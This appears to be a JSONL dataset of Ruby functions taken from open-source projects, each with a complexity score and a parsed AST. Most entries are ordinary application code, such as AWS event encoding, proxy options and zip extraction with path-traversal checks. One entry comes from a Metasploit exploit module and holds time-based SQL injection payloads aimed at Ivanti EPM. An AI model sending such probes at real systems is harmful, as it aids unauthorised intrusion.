{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/lib/completions/endpoints/aws_bedrock_spec.rb","start_line":22,"raw_source":"def encode_message(message)\n    wrapped = { bytes: Base64.encode64(message.to_json) }.to_json\n    io = StringIO.new(wrapped)\n    aws_message = Aws::EventStream::Message.new(payload: io)\n    Aws::EventStream::Encoder.new.encode(aws_message)\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wrapped\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bytes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"encode64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"to_json\"]}]}]}]},\"to_json\"]}]},{\"type\":\"lvasgn\",\"children\":[\"io\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"wrapped\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"aws_message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Aws\"]},\"EventStream\"]},\"Message\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"io\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Aws\"]},\"EventStream\"]},\"Encoder\"]},\"new\"]},\"encode\",{\"type\":\"lvar\",\"children\":[\"aws_message\"]}]}]}]}","id":"a9686998-8c2a-4d50-9344-c966f55ba600"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/splunkmint.rb","start_line":67,"raw_source":"def self.proxy_options(params)\n        options = []\n        if params[:proxy_address] && params[:proxy_port] && params[:proxy_username] && params[:proxy_password]\n          options << \"-x #{params[:proxy_address].shellescape}:#{params[:proxy_port].shellescape}\"\n          options << \"--proxy-user #{params[:proxy_username].shellescape}:#{params[:proxy_password].shellescape}\"\n        end\n\n        options\n      end","complexity_score":24.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"proxy_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proxy_address\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proxy_port\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proxy_username\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proxy_password\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-x \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proxy_address\"]}]},\"shellescape\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proxy_port\"]}]},\"shellescape\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--proxy-user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proxy_username\"]}]},\"shellescape\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proxy_password\"]}]},\"shellescape\"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"11d477bb-256e-4897-834a-37d458d9b627"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/ivanti_epm_recordgoodapp_sqli_rce.rb","start_line":94,"raw_source":"def check\n    print_status(\"Checking if the target is vulnerable using time-based SQLi (delay=#{datastore['DELAY']})\")\n\n    _res, elapsed1 = Rex::Stopwatch.elapsed_time { soap_request(\"';WAITFOR DELAY '0:0:0';select 1--\") }\n    vprint_status(\"Baseline query elapsed time: #{elapsed1}\")\n\n    _res, elapsed2 = Rex::Stopwatch.elapsed_time { soap_request(\"';WAITFOR DELAY '0:0:#{datastore['DELAY']}';select 2--\") }\n    vprint_status(\"Delayed query elapsed time: #{elapsed2}\")\n\n    if elapsed2.to_i > elapsed1.to_i && elapsed2 >= datastore['DELAY']\n      return CheckCode::Vulnerable('SQLi executed')\n    else\n      return CheckCode::Safe('SQLi not executed')\n    end\n  rescue IvantiEpmRequestError => e\n    return CheckCode::Unknown(e.to_s)\n  end","complexity_score":42.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Checking if the target is vulnerable using time-based SQLi (delay=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DELAY\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_res\"]},{\"type\":\"lvasgn\",\"children\":[\"elapsed1\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Stopwatch\"]},\"elapsed_time\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"soap_request\",{\"type\":\"str\",\"children\":[\"';WAITFOR DELAY '0:0:0';select 1--\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Baseline query elapsed time: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elapsed1\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_res\"]},{\"type\":\"lvasgn\",\"children\":[\"elapsed2\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Stopwatch\"]},\"elapsed_time\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"soap_request\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"';WAITFOR DELAY '0:0:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DELAY\"]}]}]},{\"type\":\"str\",\"children\":[\"';select 2--\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Delayed query elapsed time: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elapsed2\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elapsed2\"]},\"to_i\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elapsed1\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elapsed2\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DELAY\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\",{\"type\":\"str\",\"children\":[\"SQLi executed\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"SQLi not executed\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IvantiEpmRequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]}]}]},null]}]}","id":"71386363-3434-4dc8-a4dc-f4323a457366"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/pajamas/banner_component.rb","start_line":34,"raw_source":"def banner_class\n      classes = []\n      classes.push('gl-banner-introduction') if introduction?\n      classes.join(' ')\n    end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"banner_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"classes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"introduction?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes\"]},\"push\",{\"type\":\"str\",\"children\":[\"gl-banner-introduction\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}","id":"79b6487d-1eee-482e-bae8-62d338cbe51d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/server/socket_server.rb","start_line":128,"raw_source":"def send_response(json)\n      UI.verbose(\"sending #{json}\")\n      begin\n        @client.puts(json) # Send some json to the client\n      rescue Errno::EPIPE => e\n        UI.verbose(e)\n        return COMMAND_EXECUTION_STATE[:error]\n      end\n      return COMMAND_EXECUTION_STATE[:ready]\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"puts\",{\"type\":\"lvar\",\"children\":[\"json\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"EPIPE\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_EXECUTION_STATE\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_EXECUTION_STATE\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ready\"]}]}]}]}]}","id":"e330a93a-bf44-4136-abe7-ca16813c3328"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_action.rb","start_line":539,"raw_source":"def action_physical_server_power_on(action, rec, inputs)\n    unless rec.kind_of?(PhysicalServer)\n      MiqPolicy.logger.error(\"MIQ(physical_server_power_on): Unable to perform action [#{action.description}], object [#{rec.inspect}] is not a physical server\")\n      return\n    end\n\n    invoke_or_queue(inputs[:synchronous], __method__, \"ems_operations\", rec.my_zone, rec, 'power_on',\n                    [], \"[#{action.description}] of physical server [#{rec.name}]\")\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"action_physical_server_power_on\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"arg\",\"children\":[\"rec\"]},{\"type\":\"arg\",\"children\":[\"inputs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"PhysicalServer\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqPolicy\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MIQ(physical_server_power_on): Unable to perform action [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"description\"]}]},{\"type\":\"str\",\"children\":[\"], object [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"] is not a physical server\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"invoke_or_queue\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"synchronous\"]}]},{\"type\":\"send\",\"children\":[null,\"__method__\"]},{\"type\":\"str\",\"children\":[\"ems_operations\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"my_zone\"]},{\"type\":\"lvar\",\"children\":[\"rec\"]},{\"type\":\"str\",\"children\":[\"power_on\"]},{\"type\":\"array\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"description\"]}]},{\"type\":\"str\",\"children\":[\"] of physical server [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]}]}","id":"3d7f33af-8b68-447f-96ab-b534b49b6b9e"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":1100,"raw_source":"def test_assert_performed_jobs_message\n      HelloJob.perform_later(\"sean\")\n      e = assert_raises Minitest::Assertion do\n        assert_performed_jobs 2 do\n          HelloJob.perform_later(\"sean\")\n        end\n      end\n      assert_match \"Expected: 2\", e.message\n      assert_match \"Actual: 1\", e.message\n    end","complexity_score":12.13,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_performed_jobs_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"sean\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_performed_jobs\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"sean\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"Expected: 2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"Actual: 1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}","id":"ad440775-321b-42c8-b4df-317b9b24cf2f"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/services/storages/nextcloud_managed_folder_create_service_spec.rb","start_line":381,"raw_source":"def delete_created_folders\n      storage.project_storages.automatic\n             .where(storage:)\n             .where.not(project_folder_id: nil)\n             .find_each { |project_storage| delete_folder(project_storage.managed_project_folder_path.chop) }\n    end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_created_folders\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]},\"project_storages\"]},\"automatic\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"send\",\"children\":[null,\"storage\"]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_folder_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_storage\"]}]},{\"type\":\"send\",\"children\":[null,\"delete_folder\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_storage\"]},\"managed_project_folder_path\"]},\"chop\"]}]}]}]}","id":"b1c1b273-c67d-475f-9961-7a88150e5e7c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/slicing_with_range.rb","start_line":102,"raw_source":"def find_offense_range(node)\n          if node.loc.dot\n            node.loc.dot.join(node.source_range.end)\n          else\n            node.loc.selector\n          end\n        end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"find_offense_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"dot\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"dot\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"end\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"selector\"]}]}]}","id":"777df7e5-19ec-48f5-b780-ab9782e5ab40"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/users/import_data.rb","start_line":70,"raw_source":"def extract_archive\n    Rails.logger.info \"Extracting archive: #{archive_path}\"\n\n    Zip::File.open(archive_path) do |zip_file|\n      zip_file.each do |entry|\n        next if entry.directory?\n\n        sanitized_name = sanitize_zip_entry_name(entry.name)\n        next if sanitized_name.nil?\n\n        extraction_path = File.expand_path(File.join(@import_directory, sanitized_name))\n        safe_import_dir = File.expand_path(@import_directory) + File::SEPARATOR\n        unless extraction_path.start_with?(safe_import_dir) || extraction_path == File.expand_path(@import_directory)\n          Rails.logger.warn \"Skipping potentially malicious ZIP entry: #{entry.name} (would extract to #{extraction_path})\"\n          next\n        end\n\n        Rails.logger.debug \"Extracting #{entry.name} to #{extraction_path}\"\n\n        FileUtils.mkdir_p(File.dirname(extraction_path))\n        entry.extract(sanitized_name, destination_directory: @import_directory)\n      end\n    end\n  end","complexity_score":46.6,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_archive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Extracting archive: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"archive_path\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zip\"]},\"File\"]},\"open\",{\"type\":\"send\",\"children\":[null,\"archive_path\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"zip_file\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip_file\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"directory?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"sanitized_name\",{\"type\":\"send\",\"children\":[null,\"sanitize_zip_entry_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sanitized_name\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"extraction_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"ivar\",\"children\":[\"@import_directory\"]},{\"type\":\"lvar\",\"children\":[\"sanitized_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"safe_import_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"ivar\",\"children\":[\"@import_directory\"]}]},\"+\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"SEPARATOR\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extraction_path\"]},\"start_with?\",{\"type\":\"lvar\",\"children\":[\"safe_import_dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extraction_path\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"ivar\",\"children\":[\"@import_directory\"]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Skipping potentially malicious ZIP entry: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" (would extract to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extraction_path\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"next\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Extracting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extraction_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"extraction_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"extract\",{\"type\":\"lvar\",\"children\":[\"sanitized_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"destination_directory\"]},{\"type\":\"ivar\",\"children\":[\"@import_directory\"]}]}]}]}]}]}]}]}]}","id":"ccbb4c45-3843-462a-b05b-7e27283a883b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_widget.rb","start_line":426,"raw_source":"def self.available_for_user(user)\n    user = get_user(user)\n    role = user.miq_user_role_name\n    group = user.current_group.description\n\n    # Return all widgets that either has this user's role or is allowed for all roles, or has this user's group\n    all.select do |w|\n      w.has_visibility?(:roles, role) || w.has_visibility?(:groups, group)\n    end\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_for_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"get_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"role\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"miq_user_role_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"current_group\"]},\"description\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"has_visibility?\",{\"type\":\"sym\",\"children\":[\"roles\"]},{\"type\":\"lvar\",\"children\":[\"role\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"has_visibility?\",{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]}]}]}","id":"8c9a94d6-4e0a-4293-b78c-75ef4b63ed7b"}
